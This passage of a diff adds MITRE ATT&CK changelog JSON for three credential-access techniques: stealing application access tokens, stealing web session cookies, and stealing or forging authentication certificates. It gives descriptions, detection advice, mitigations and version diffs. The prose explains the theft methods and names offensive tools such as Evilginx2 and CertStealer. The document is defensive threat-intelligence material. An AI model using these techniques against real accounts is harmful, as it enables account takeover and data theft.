", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 15:54:25.684000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Steal Application Access Token", + "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1528", + "external_id": "T1528" + }, + { + "source_name": "Amnesty OAuth Phishing Attacks, August 2019", + "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.", + "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" + }, + { + "source_name": "Auth0 Understanding Refresh Tokens", + "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021.", + "url": "https://auth0.com/learn/refresh-tokens/" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "Cider Security Top 10 CICD Security Risks", + "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.", + "url": "https://www.cidersecurity.io/top-10-cicd-security-risks/" + }, + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + }, + { + "source_name": "Kubernetes Service Accounts", + "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.", + "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/" + }, + { + "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019", + "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Microsoft - Azure AD App Registration - May 2019", + "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app" + }, + { + "source_name": "Microsoft - OAuth Code Authorization flow - June 2019", + "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow" + }, + { + "source_name": "Microsoft Identity Platform Protocols May 2019", + "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Suzy Schapperle - Microsoft Azure Red Team", + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Ram Pliskin, Microsoft Azure Security Center", + "Jack Burns, HubSpot", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Modification", + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Containers", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-24 19:41:54.832000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"IaaS\", \"old_value\": \"Azure AD\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][7]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][4]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-08 20:04:35.508000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1539", + "external_id": "T1539" + }, + { + "source_name": "Krebs Discord Bookmarks 2023", + "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", + "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "Kaspersky TajMahal April 2019", + "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", + "url": "https://securelist.com/project-tajmahal/90240/" + }, + { + "source_name": "Github evilginx2", + "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", + "url": "https://github.com/kgretzky/evilginx2" + }, + { + "source_name": "GitHub Mauraena", + "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", + "url": "https://github.com/muraenateam/muraena" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "source_name": "Talos Roblox Scam 2023", + "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", + "url": "https://blog.talosintelligence.com/roblox-scam-overview/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Johann Rehberger", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Process: Process Access", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-16 12:56:56.861000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_contributors'][2]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1032: Multi-factor Authentication", + "M1054: Software Configuration" + ], + "new": [ + "M1021: Restrict Web-Based Content", + "M1047: Audit", + "M1051: Update Software" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Access)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-08-03 03:20:58.955000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Steal or Forge Authentication Certificates", + "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1649", + "external_id": "T1649" + }, + { + "source_name": "GitHub GhostPack Certificates", + "description": "HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022.", + "url": "https://github.com/GhostPack/SharpDPAPI#certificates" + }, + { + "source_name": "Microsoft AD CS Overview", + "description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)" + }, + { + "source_name": "Medium Certified Pre Owned", + "description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.", + "url": "https://posts.specterops.io/certified-pre-owned-d95910965cd2" + }, + { + "source_name": "SpecterOps Certified Pre Owned", + "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.", + "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf" + }, + { + "source_name": "O365 Blog Azure AD Device IDs", + "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.", + "url": "https://o365blog.com/post/deviceidentity/" + }, + { + "source_name": "GitHub CertStealer", + "description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.", + "url": "https://github.com/TheWover/CertStealer" + }, + { + "source_name": "APT29 Deep Look at Credential Roaming", + "description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.", + "url": "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tristan Bennett, Seamless Intelligence", + "Lee Christensen, SpecterOps", + "Thirumalai Natarajan, Mandiant" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Application Log: Application Log Content", + "Active Directory: Active Directory Credential Request", + "Active Directory: Active Directory Object Modification", + "Windows Registry: Windows Registry Key Access", + "File: File Access", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-03-02 19:06:41.828000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\\n\\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\\u2019s subject alternative name (SAN) values define the certificate owner\\u2019s alternate names.(Citation: Medium Certified Pre Owned)\\n\\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\\n\\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \\u201cgolden\\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)\", \"old_value\": \"Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\\n\\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\\u2019s subject alternative name (SAN) values define the certificate owner\\u2019s alternate names.(Citation: Medium Certified Pre Owned)\\n\\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\\n\\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \\u201cgolden\\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\\n+Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\\n \\n Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\\u2019s subject alternative name (SAN) values define the certificate owner\\u2019s alternate names.(Citation: Medium Certified Pre Owned)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may steal or forge certificates used for authentt1Adversaries may steal or forge certificates used for authent
>ication to access remote systems or resources. Digital certi>ication to access remote systems or resources. Digital certi
>ficates are often used to sign and encrypt messages and/or f>ficates are often used to sign and encrypt messages and/or f
>iles. Certificates are also used as authentication material.>iles. Certificates are also used as authentication material.
> For example, Azure AD device certificates and Active Direct> For example, Entra ID device certificates and Active Direct
>ory Certificate Services (AD CS) certificates bind to an ide>ory Certificate Services (AD CS) certificates bind to an ide
>ntity and can be used as credentials for domain accounts.(Ci>ntity and can be used as credentials for domain accounts.(Ci
>tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A>tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A
>D CS Overview)  Authentication certificates can be both stol>D CS Overview)  Authentication certificates can be both stol
>en and forged. For example, AD CS certificates can be stolen>en and forged. For example, AD CS certificates can be stolen
> from encrypted storage (in the Registry or files)(Citation:> from encrypted storage (in the Registry or files)(Citation:
> APT29 Deep Look at Credential Roaming), misplaced certifica> APT29 Deep Look at Credential Roaming), misplaced certifica
>te files (i.e. [Unsecured Credentials](https://attack.mitre.>te files (i.e. [Unsecured Credentials](https://attack.mitre.
>org/techniques/T1552)), or directly from the Windows certifi>org/techniques/T1552)), or directly from the Windows certifi
>cate store via various crypto APIs.(Citation: SpecterOps Cer>cate store via various crypto APIs.(Citation: SpecterOps Cer
>tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi>tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi
>tHub GhostPack Certificates) With appropriate enrollment rig>tHub GhostPack Certificates) With appropriate enrollment rig
>hts, users and/or machines within a domain can also request >hts, users and/or machines within a domain can also request 
>and/or manually renew certificates from enterprise certifica>and/or manually renew certificates from enterprise certifica
>te authorities (CA). This enrollment process defines various>te authorities (CA). This enrollment process defines various
> settings and permissions associated with the certificate. O> settings and permissions associated with the certificate. O
>f note, the certificate\u2019s extended key usage (EKU) values de>f note, the certificate\u2019s extended key usage (EKU) values de
>fine signing, encryption, and authentication use cases, whil>fine signing, encryption, and authentication use cases, whil
>e the certificate\u2019s subject alternative name (SAN) values de>e the certificate\u2019s subject alternative name (SAN) values de
>fine the certificate owner\u2019s alternate names.(Citation: Medi>fine the certificate owner\u2019s alternate names.(Citation: Medi
>um Certified Pre Owned)  Abusing certificates for authentica>um Certified Pre Owned)  Abusing certificates for authentica
>tion credentials may enable other behaviors such as [Lateral>tion credentials may enable other behaviors such as [Lateral
> Movement](https://attack.mitre.org/tactics/TA0008). Certifi> Movement](https://attack.mitre.org/tactics/TA0008). Certifi
>cate-related misconfigurations may also enable opportunities>cate-related misconfigurations may also enable opportunities
> for [Privilege Escalation](https://attack.mitre.org/tactics> for [Privilege Escalation](https://attack.mitre.org/tactics
>/TA0004), by way of allowing users to impersonate or assume >/TA0004), by way of allowing users to impersonate or assume 
>privileged accounts or permissions via the identities (SANs)>privileged accounts or permissions via the identities (SANs)
> associated with a certificate. These abuses may also enable> associated with a certificate. These abuses may also enable
> [Persistence](https://attack.mitre.org/tactics/TA0003) via > [Persistence](https://attack.mitre.org/tactics/TA0003) via 
>stealing or forging certificates that can be used as [Valid >stealing or forging certificates that can be used as [Valid 
>Accounts](https://attack.mitre.org/techniques/T1078) for the>Accounts](https://attack.mitre.org/techniques/T1078) for the
> duration of the certificate's validity, despite user passwo> duration of the certificate's validity, despite user passwo
>rd resets. Authentication certificates can also be stolen an>rd resets. Authentication certificates can also be stolen an
>d forged for machine accounts.  Adversaries who have access >d forged for machine accounts.  Adversaries who have access 
>to root (or subordinate) CA certificate private keys (or mec>to root (or subordinate) CA certificate private keys (or mec
>hanisms protecting/managing these keys) may also establish [>hanisms protecting/managing these keys) may also establish [
>Persistence](https://attack.mitre.org/tactics/TA0003) by for>Persistence](https://attack.mitre.org/tactics/TA0003) by for
>ging arbitrary authentication certificates for the victim do>ging arbitrary authentication certificates for the victim do
>main (known as \u201cgolden\u201d certificates).(Citation: Medium Cert>main (known as \u201cgolden\u201d certificates).(Citation: Medium Cert
>ified Pre Owned) Adversaries may also target certificates an>ified Pre Owned) Adversaries may also target certificates an
>d related services in order to access other forms of credent>d related services in order to access other forms of credent
